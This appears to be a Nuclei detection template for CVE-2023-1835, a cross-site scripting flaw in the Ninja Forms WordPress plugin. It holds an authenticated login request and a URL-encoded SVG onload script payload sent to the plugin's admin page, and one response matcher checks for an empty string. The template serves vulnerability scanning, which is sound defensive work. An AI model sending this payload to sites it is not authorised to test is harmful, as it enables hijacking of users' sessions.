id: CVE-2023-1835 info: name: Ninja Forms < 3.6.22 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | Ninja Forms before 3.6.22 is susceptible to cross-site scripting via the page parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: | Update to the latest version of Ninja Forms (3.6.22 or higher) to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/b5fc223c-5ec0-44b2-b2f6-b35f9942d341 - https://wordpress.org/plugins/ninja-forms/advanced/ - https://nvd.nist.gov/vuln/detail/CVE-2023-1835 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-1835 cwe-id: CWE-79 epss-score: 0.00071 epss-percentile: 0.29572 cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: ninjaforms product: ninja_forms framework: wordpress tags: wpscan,cve,cve2023,ninja,forms,wp,wp-plugin,wordpress,authenticated,xss http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=nf-processing&title=%253Csvg%252Fonload%253Dalert%2528document.domain%2529%253E HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code_2 == 200' - 'contains(content_type_2, "text/html")' - 'contains(body_2, "")' - 'contains(body_2, "Ninja Forms")' condition: and # digest: 490a0046304402204912e4b446d71d9088311877cc95bafb8996fe38a544e599f568c6cd20431d750220493486133fdfbc4bc6ed896c2142dbea762bad6d41f88f498510be0e44c75db1:922c64590222798bb761d5b6d8e72950